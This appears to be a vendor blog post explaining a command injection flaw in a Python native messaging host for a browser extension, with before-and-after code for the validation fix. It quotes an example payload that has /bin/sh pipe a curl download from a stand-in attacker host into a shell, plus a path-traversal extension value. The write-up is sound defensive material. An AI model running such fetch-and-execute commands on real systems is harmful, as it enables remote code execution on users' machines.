Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in the Python 2 native host script `beectl-py2.py`, where user-controlled JSON fields `args` and `ext` were passed directly to `subprocess` and `tempfile.mkstemp()` without validation. An attacker controlling the browser extension's configuration could inject shell commands like `{"editor": "/bin/sh", "args": ["-c", "curl http://attacker.com/malware.sh | sh"]}`. The fix adds `sanitize_args()` — which rejects non-list inputs, non-string elements, and NUL bytes — and `sanitize_ext()` — which constrains file extensions to alphanumeric characters via regex — blocking the injection path entirely.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixAdded `sanitize_args()` and `sanitize_ext()` functions that enforce strict type constraints, reject NUL bytes, and constrain file extensions to alphanumeric characters
riskArbitrary command execution on the host machine via browser extension configuration
languagePython 2
root causeUser-controlled JSON `args` array passed directly to subprocess without type or content validation
vulnerabilityCommand Injection via unsanitized subprocess arguments

How Command Injection Happens in Python Subprocess Calls and How to Fix It

The host/beectl-py2.py file serves as the native messaging host that bridges a browser extension to a local text editor on the user's machine. It reads JSON from stdin, extracts an editor path and optional arguments, and launches the editor via Python's subprocess module. That pipeline — JSON in, process out — is exactly where this critical vulnerability lived.

At line 62, the original code contained this pattern:

if 'args' in conf:
    args = conf['args']
    args.insert(0, bee_editor)

conf is parsed directly from JSON sent by the browser extension. The args field — whatever the extension provided — was inserted into the subprocess call with zero validation. No type check. No content check. No allowlist. Just raw user data handed to the operating system.


The Vulnerability Explained

What Made This Exploitable

The native messaging protocol means the browser extension sends JSON to this Python script over stdin. In a normal flow, the JSON might look like:

{"editor": "/usr/bin/vim", "args": []}

But nothing in the original code prevented an attacker — who could modify the browser extension's stored configuration — from sending:

{
  "editor": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/malware.sh | sh"]
}

The original code would then build an args list of ["/bin/sh", "-c", "curl http://attacker.com/malware.sh | sh"] and pass it directly to subprocess. That's a complete shell invocation with attacker-controlled commands, running with the full privileges of the user who installed the browser extension.

The Second Attack Surface: File Extension Injection

There was a second, subtler vulnerability in the same function:

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']
f = list(tempfile.mkstemp(suffix, 'chrome_bee_'))

The text['ext'] value — also user-controlled — was concatenated directly into the mkstemp() suffix. An attacker could supply a value like ../../../etc/cron.d/evil to attempt path traversal in the temporary file creation, or inject characters that interact unexpectedly with the filesystem.

Why This Matters for This Application Specifically

This isn't a web server or a public API — it's a native host running on the user's own machine. That makes exploitation both easier (the attacker only needs to tamper with browser extension storage, a relatively low bar) and more dangerous (the process runs as the logged-in user, with access to their files, SSH keys, and credentials). The PR's own threat model notes the exploitation scenario explicitly: modify the stored configuration, inject the payload, and the next time the user opens the editor, the malicious command runs silently.


The Fix

The fix introduces two purpose-built validation functions added before main():

sanitize_args() — Blocking Subprocess Argument Injection

def sanitize_args(args):
    # Enforce expected structure: reject non-list, non-string elements, and NUL
    # bytes that would be silently truncated by execve().
    if not isinstance(args, list):
        sys.exit("Invalid args: expected a list")
    for a in args:
        if not isinstance(a, (str, unicode)):
            sys.exit("Invalid args: each argument must be a string")
        if u'\x00' in a:
            sys.exit("Invalid args: NUL byte in argument")
    return args

This function enforces three invariants:

  1. args must be a list — prevents an attacker from passing a string or dict that might be iterable in unexpected ways.
  2. Each element must be a string — prevents injection via non-string types that could coerce to dangerous values.
  3. No NUL bytes — NUL bytes (\x00) are silently truncated by execve() at the OS level, which can be used to bypass filename or argument checks by appending a NUL followed by malicious content. This check closes that bypass.

The call site changes from:

if 'args' in conf:
    args = conf['args']

to:

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])

The additional conf and guard also prevents a None dereference if conf itself is null.

sanitize_ext() — Blocking Path Traversal in Temp File Creation

def sanitize_ext(ext):
    # ext is used verbatim as mkstemp() suffix; constrain to alphanumeric to
    # prevent path traversal.
    if not isinstance(ext, (str, unicode)) or not re.match(r'^[A-Za-z0-9]{1,16}$', ext):
        return 'txt'
    return ext

The regex ^[A-Za-z0-9]{1,16}$ is a strict allowlist: only letters and digits, 1–16 characters, nothing else. Any extension that doesn't match — including path separators, dots, or shell metacharacters — silently falls back to 'txt'. The call site simplifies to:

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))

This also uses dict.get() with a default, which is more idiomatic and avoids a KeyError if ext is absent.

Before and After

Before (vulnerable):

if 'args' in conf:
    args = conf['args']          # No type check, no content check
    args.insert(0, bee_editor)

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']  # Direct string concatenation, no validation

After (fixed):

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])  # Type-checked, NUL-checked
    args.insert(0, bee_editor)

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))  # Allowlist regex

The same fix was applied symmetrically to host/beectl-py3.py, ensuring both the Python 2 and Python 3 host scripts are protected.


Prevention & Best Practices

1. Never Trust JSON Fields Destined for Subprocess

Any field from an external source — even a "local" one like browser extension storage — that ends up in a subprocess.Popen, os.execve, or similar call must be validated before use. Treat browser extension configuration as untrusted input, because it can be modified by malicious extensions, XSS in the extension's options page, or direct filesystem manipulation.

2. Use Allowlists, Not Denylists

The sanitize_ext() regex ^[A-Za-z0-9]{1,16}$ is an allowlist — it defines exactly what is permitted. Denylists (blocking specific bad characters) are brittle and routinely bypassed. For subprocess arguments, consider whether you need user-supplied args at all; if you do, define the exact set of permitted values.

3. Check for NUL Bytes Explicitly

NUL byte injection (\x00) is a classic bypass technique that Python string handling won't catch automatically. The sanitize_args() function's explicit check for u'\x00' in a is a good pattern to copy whenever user input reaches OS-level calls.

4. Apply Fixes Symmetrically Across Language Versions

This codebase maintains both Python 2 (beectl-py2.py) and Python 3 (beectl-py3.py) versions of the same host script. The fix was correctly applied to both. When you patch a vulnerability in one version of a file, audit all sibling files with similar logic.

5. Relevant Standards


Key Takeaways

  • The args field in beectl-py2.py's JSON input was a direct injection point into subprocess — any field that flows to a process launch must be validated for type, content, and dangerous byte sequences.
  • NUL bytes in subprocess arguments are silently truncated by execve(), making them a viable bypass for naive string-based checks; always test for \x00 explicitly.
  • Allowlist regexes like ^[A-Za-z0-9]{1,16}$ are the right tool for constraining user-controlled filename components — they fail safely by design.
  • Browser extension configuration is untrusted input — even though it originates "locally," it can be modified by attackers and must be treated with the same skepticism as HTTP request parameters.
  • Symmetric fixes matter: the same vulnerability existed in beectl-py3.py and required the same fix — always audit sibling files when patching logic-level vulnerabilities.

How Orbis AppSec Detected This

  • Source: User-controlled JSON input read from sys.stdin in host/beectl-py2.py, specifically the conf['args'] and text['ext'] fields.
  • Sink: The args list passed to subprocess (built at line 89–92), and text['ext'] concatenated into the tempfile.mkstemp() suffix at line 101.
  • Missing control: No type validation, no content validation, and no NUL-byte check on conf['args'] before subprocess execution; no allowlist or sanitization on text['ext'] before filesystem use.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Added sanitize_args() to enforce list type, string-only elements, and NUL-byte rejection, and sanitize_ext() to constrain file extensions to an alphanumeric allowlist before either value reaches a system call.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in beectl-py2.py is a textbook example of how a small trust assumption — "the browser extension controls this JSON, so it must be safe" — can open a direct path to arbitrary code execution. The conf['args'] array traveled from JSON input to subprocess with no stops for validation, and the text['ext'] string was concatenated into a filesystem path with equal naivety.

The fix is elegant precisely because it's explicit: sanitize_args() and sanitize_ext() each encode a clear contract about what valid input looks like, fail loudly when that contract is violated, and handle the NUL-byte edge case that many developers overlook. For anyone writing native messaging hosts, browser extension backends, or any Python code that bridges external input to subprocess, this pattern — validate type, validate content, check for NUL, use allowlists for filesystem values — is worth internalizing.


References

Frequently Asked Questions

What is command injection in Python subprocess calls?

Command injection occurs when user-controlled data is passed directly to a subprocess call without validation, allowing attackers to supply malicious arguments or commands that the operating system executes with the application's privileges.

How do you prevent command injection in Python subprocess calls?

Validate all user-supplied arguments before passing them to subprocess: enforce that args is a list, each element is a string, no NUL bytes are present, and the executable path comes from a trusted source — never from raw user input.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is using `shell=False` in subprocess enough to prevent command injection?

Not entirely. Even with `shell=False`, an attacker who controls the args list can still inject malicious arguments (e.g., passing `/bin/sh` as the editor and `["-c", "malicious_command"]` as args), so input validation remains essential.

Can static analysis detect command injection in Python?

Yes. Tools like Semgrep, Bandit, and multi-agent AI scanners can trace tainted data from JSON input to subprocess calls and flag missing validation. This vulnerability was detected automatically by the Orbis AppSec multi_agent_ai scanner.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #39

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript